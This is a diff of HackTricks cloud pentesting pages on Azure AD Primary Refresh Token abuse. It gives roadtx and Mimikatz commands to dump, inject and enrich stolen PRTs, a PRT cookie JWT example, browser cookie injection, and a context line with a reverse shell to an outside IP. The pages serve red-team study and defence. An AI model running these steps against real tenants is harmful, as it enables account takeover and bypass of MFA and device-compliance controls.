+roadtx keepassauth -url https://myaccount.microsoft.com --keep-open -u myuser@mytenant.com -kp accounts.kdbx -kpp keepassfilepassword
+```
+{% endcode %}
+
+### PRT auth in browser
+
+A more interesting scenario is using a Primary Refresh Token that you either registered yourself or that you [stole from a legitimate endpoint](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) during a red team to create an interactive browser experience. Lets assume that we **dumped a PRT and session key using Mimikatz from an endpoint** (this is only possible if it doesn’t use a Trusted Platform Module). We can use this PRT on the command line, or we can automatically inject that into our Selenium browser session. roadtx does this by proxying the browser traffic through itself and injecting a PRT cookie at various points during authentication. On the victim endpoint, we can use Mimikatz to dump the PRT and session key.
+
+You can **check the commands** to dump the PRT and session key and then use the values with **`roadtx`** in the [**Option 2 of the mimikatz method to Pass the PRT**](pass-the-prt.md#attack-mimikatz)**.**
+
+### PRT usage with other accounts
+
+An interesting use case for stolen Primary Refresh Tokens is that you can also **use them for other accounts to add device claims** to the authentication. For example, if there is a conditional access policy that requires a compliant or hybrid joined corporate device to access specific resources, the device claim originates from the primary refresh token used during authentication. This claim can also be used for other users. So if I have a **stolen PRT from a compliant device** for user `tpmtest@iminyour.cloud`, I can use this **PRT with the credentials of `newlowpriv@iminyour.cloud`** to sign in and pass the compliancy test.
+
+In this example we still have the stolen PRT from `tpmtest@iminyour.cloud` used in the example above saved as `roadtx.prt`. I can use this **PRT together with the credentials of `newlowpriv`** that are stored in my KeePass file to sign in to Microsoft Teams and access data there with the `roadtx browserprtinject` command.
+
+```bash
+roadtx browserprtinject -u newlowpriv@iminyour.cloud -r msgraph -c msteams
+```
+
+The issued access token will contain the `deviceid` claim, which is the device from which we stole the PRT. Since this device is Intune managed and compliant, it passes the compliancy requirement:
+
+
+
+### Adding MFA claims to an existing PRT
+
+Moving back from the PRTs that we stole and back to the PRT we registered earlier using a username + password combination. If we want to have a **PRT with MFA claim, we have to use an interactive session** that will request a special refresh token from Azure AD for “enriching” our PRT. The command for this is **`roadtx prtenrich`**, which like the previous commands accepts an identity in a KeePass file to autofill the MFA information, or you can do this by hand.
+
+```bash
+roadtx prtenrich -u newlowpriv@iminyour.cloud
+Got refresh token. Can be used to request prt with roadtx prt -r
+```
+
+The result is a special refresh token that we can use to request a new PRT. For this we go back to the `roadtx prt` module:
+
+```bash
+roadtx prt -r -c blogdevice.pem -k blogdevice.key
+```
+
+The new PRT is written to disk and when we use it to request tokens we see the MFA claim:
+
+
+
+We can use this PRT to obtain tokens for resources that require MFA using any of the above methods.
+
+### SSO using Chrome and a custom browsercore
+
+In the following page you have info about how Google Chrome uses **`browsercore.exe`** to authenticate via SSO:
+
+{% content-ref url="az-primary-refresh-token-prt.md" %}
+[az-primary-refresh-token-prt.md](az-primary-refresh-token-prt.md)
+{% endcontent-ref %}
+
+**`roadtx`** has `browsercore.py`, you can use a PTR from **`roadtx`** (or one that you stole elsewhere) to automatically authenticate in your Chrome browser on your attacker controlled host. You don’t need to have a Selenium window, but can use the PRT directly just as if you were on the victims machine in a legitimate browser.
+
+The custom SSO requires a few steps to set up:
+
+* You should put the `browsercore.py` and `manifest.json` [files](https://github.com/dirkjanm/ROADtools/tree/master/browsercore) in some location on disk, for example in `C:\browsercore\`.
+* Install roadtx and place a `roadtx.prt` file in the same directory.
+* Modify `HKEY_CURRENT_USER\Software\Google\Chrome\NativeMessagingHosts\com.microsoft.browsercore` to point to `C:\browsercore\manifest.json`.
+* Test whether everything works using `bctest.py`
+* Clear any existing cookies in Chrome for `login.microsoftonline.com`
+
+Full install instructions are on the [ROADtools wiki](https://github.com/dirkjanm/ROADtools/wiki/Setting-up-BrowserCore.py). After setup, Chrome should use the PRT automatically during sign in. The first time it may need a hint for the username to work properly.
+
+With this setup you can browse any Azure AD connected resource with SSO and the claims from the PRT, including device status and cached MFA information.
+
+## Other utilities
+
+There are a few other utilities in roadtx, mostly to make my own research easier:
+
+* `roadtx decrypt` can decrypt encrypted responses given a PRT session key or a device transport key
+* `roadtx getotp` can calculate an OTP code from a seed or from the otp property stored in a KeePass file (if you need to do MFA for that user)
+* `roadtx codeauth` can perform the OAuth2 code redemption flow for public and confidential clients.
+* `roadtx listaliases` lists all the aliases that are supported for resources and clients. If you need any other aliases that you use frequently feel free to open an issue or send me a message.
+
+
+
+Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
+Other ways to support HackTricks:
+
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
index 79c1899f48..6d0ae53065 100644
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
+++ b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -34,6 +34,24 @@ In the same output you can also see if the **device is joined to Azure** (in the
+## PRT Cookie
+
+The PRT cookie is actually called **`x-ms-RefreshTokenCredential`** and it's a JSON Web Token (JWT). A JWT contains **3 parts**, the **header**, **payload** and **signature**, divided by a `.` and all url-safe base64 encoded. A typical PRT cookie contains the following header and body:
+
+```json
+{
+ "alg": "HS256",
+ "ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
+}
+{
+ "refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
+ "is_primary": "true",
+ "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
+}
+```
+
+The **`refresh_token`** contains the actual **PRT**. It is encrypted using a key which is managed by Azure AD, so we can’t see what’s in it or decrypt it. The **`is_primary`** indicates that this **contains the primary refresh token**. The `request_nonce` is passed from the `logon.microsoftonline.com` page to make sure the cookie can only be used for that login session.
+
## Pass-the-PRT
### Attack - ROADtoken
@@ -152,6 +170,8 @@ The rest should be the defaults. Make sure you can refresh the page and the cook
2. **Extract** the **Session Key**. If you remember this is issued and then re-encrypted by the local device, so we need to **decrypt this using a DPAPI masterkey**. For more info about DPAPI check this [**HackTricks**](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) link or the [**Pass-the-cookie attack**](az-pass-the-cookie.md).
3. Using the decrypted Session Key, we will obtain the derived key for the PRT and the context. This is needed to **create our PRT cookie**. The derived key is what is used to sign the JWT for the cookie. Dirk-jan did a great job explaining this process [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
+You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
+
{% hint style="warning" %}
This won't work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his.
{% endhint %}
@@ -175,7 +195,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
**Copy** the part labeled **Prt** and save it.\
-Extract also the session key or “**ProofOfPosessionKey**” which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it.
+Extract also the session key (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it.
@@ -192,15 +212,17 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
-Now you want to copy both the Context value:
+#### Option 1
+
+* Now you want to copy both the Context value:
-And the derived key value:
+* And the derived key value:
-Finally you can use all this info to **generate PRT cookies**:
+* Finally you can use all this info to **generate PRT cookies**:
```bash
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
@@ -208,7 +230,7 @@ Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
-Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.
+* Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.
```
Name: x-ms-RefreshTokenCredential
@@ -217,12 +239,33 @@ Path: /
HttpOnly: Set to True (checked)
```
-Then go to [https://portal.azure.com](https://portal.azure.com)
+* Then go to [https://portal.azure.com](https://portal.azure.com)
{% hint style="danger" %}
The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
{% endhint %}
+#### Option 2
+
+* Renew the PRT first, which will save it in `roadtx.prt`:
+
+{% code overflow="wrap" %}
+```bash
+roadtx prt -a renew --prt --prt-sessionkey
+```
+{% endcode %}
+
+* Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim.
+
+```bash
+roadtx browserprtauth
+roadtx describe < .roadtools_auth
+```
+
+
+
+
+
## References
* [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
diff --git a/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md b/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md
index 8b9d92642e..8cf29f3951 100644
--- a/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md
+++ b/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md
@@ -72,7 +72,7 @@ RevPShell -Reverse 40.84.7.73 443
Now we’ll run our configuration file. I have mine setup to be published to the Desktop for a better visual, however it can be published just about anywhere. After a couple of minutes, we’ll see that the reverse-shell script has been published!
-
+
### Step 6 — Host Payload and Setup Listener
diff --git a/pentesting-cloud/gcp-security/gcp-basic-information.md b/pentesting-cloud/gcp-security/gcp-basic-information.md
index 7483a63401..baaddb322c 100644
--- a/pentesting-cloud/gcp-security/gcp-basic-information.md
+++ b/pentesting-cloud/gcp-security/gcp-basic-information.md
@@ -29,7 +29,7 @@ Organization
A virtual machine (called a Compute Instance) is a resource. A resource resides in a project, probably alongside other Compute Instances, storage buckets, etc.
-
+
## **Projects Migration**